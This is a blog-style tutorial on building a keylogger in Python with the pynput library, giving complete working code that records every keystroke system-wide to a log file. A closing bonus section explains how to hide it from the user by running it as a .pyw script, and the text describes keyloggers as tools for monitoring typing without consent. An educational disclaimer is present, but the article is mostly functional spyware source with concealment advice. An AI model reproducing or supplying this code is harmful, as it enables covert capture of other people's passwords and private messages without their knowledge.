How to Build a Keylogger with Python

Wait! This is for educational purposes only!
Bruno Tatsuya February 11, 2022

Alright, so you likely have heard about Python's superpowers: you can build websites, robots, machine learning models and automate almost everything in your operational system. It is not different for your external devices. Python has a lot of libraries and integrations, so listening to keyboard events is actually a pretty easy task. Learn in this article how to build a simple keylogger using this amazing programming language!

Disclaimer: This article is for educational purposes only. Have in mind that with great power comes great responsibility and it is unethical and illegal to use this for spying or social engineering activities.

Firstly, what is a keylogger?

A keylogger is basically a device for recording the keys typed by a computer user from a keyboard. It is commonly used for monitoring what is typed without user consent. It can be built as software or use hardware approaches. In this article, we will build it as a tiny software (a script, actually).

Let's code!

Start by installing the pynput package:

pip install pynput

We are going to use the Listener class of the pynput.keyboard package. This is a high-level interface to listen to keyboard events. We can use it by setting a with context directly from an instance of Listener. Its constructor expects a function for the targeted event. An initial example is down below:

# keylogger.py from pynput.keyboard import Listener def handle_key_event(key): print(key) with Listener(on_press=handle_key_event) as l: l.join()

We define a function named handle_key_event, that receives key as its parameter. This is called by the Listener every time that a key is pressed (because we are binding this function to the on_press property of the Listener instance.

Into the with context, we treat the Listener instance, called l, as a thread. So, the join method is responsible for preventing our script from automatically closing. If you run the code above, you will be able to type anything from your keyboard (regardless of which window is focused) and the pressed keys will be printed on the console screen. Say you type this is pretty fun!. The output will be:

't' 'h' 'i' 's' Key.space 'i' 's' Key.space 'p' 'r' 'e' 't' 't' 'y' Key.space 'f' 'u' 'n' Key.shift_r '!'

This is ugly and hard to interpret, isn't it? The good news is that we can improve this output by adding some key treatment in the handle_key_event function! We are going to implement the following rules:

  • We start by trying to get the char property of the key.
  • If exists, we print it using the end parameter of print (to prevent the linebreak of every typed character).
  • Otherwise, we check the name parameter of the key.
  • If it is space, then we print a space rather than print the name.
  • If it is enter, we break the line rather than print the name.
  • Otherwise, we print the name wrapped in square brackets.

One possible implementation is down below:

# keylogger.py from pynput.keyboard import Listener def handle_key_event(key): if getattr(key, 'char', None): print(key.char, end='') else: if (key.name == 'space'): print(' ', end='') elif (key.name == 'enter'): print('\n', end='') else: print(f'[{key.name}]', end='') with Listener(on_press=handle_key_event) as l: l.join()

Then, if you type the same this is pretty fun!, you get:

this is pretty fun[shift_r]!

This is far more readable, and the square brackets wrapping is to identify special keys (usually the ones that are not printable).

Putting the output into a file

Printing on the console screen is not the best solution for a keylogger, because the main purpose is that this program runs in the system's background - preferably invisible. So now, let's put the captured content into a logging.txt file.

We define key_data as the content that will be appended into our text file. Then, inside handle_key_event we simply open this file and write the key_data content into it as append mode. We can do like this:

# keylogger.py from pynput.keyboard import Listener LOGGING_FILE_PATH = 'logging.txt' # <-- This will create the file in the same folder as this python module def handle_key_event(key): key_data = '' if getattr(key, 'char', None): key_data = key.char else: if (key.name == 'space'): key_data = ' ' elif (key.name == 'enter'): key_data = '\n' else: key_data = f'[{key.name}]' with open(LOGGING_FILE_PATH, "a") as f: f.write(key_data) with Listener(on_press=handle_key_event) as l: l.join()

Because the append mode already prevents line breaking between content writings, we do not have to care about that end property we had in the print function. Then, as we use a with context to open and write the file, we guarantee that the file logging.txt is saved after every key is pressed, preventing content from compromising in case of the app crashing or abrupt closing.

Bonus: Hiding your keylogger

So you built your keylogger, but this is kinda useless if you have a dark screen running randomly at the user's computer. To improve this, we can simply change our file extension from .py to .pyw. This is responsible for preventing the console screen from showing itself as the script runs. While the script has the .pyw extension, it will run invisible (although you can see it as a python process in your process/task management).


Need the code? Get it in this gist at GitHub!

Regards,
Bruno Tatsuya.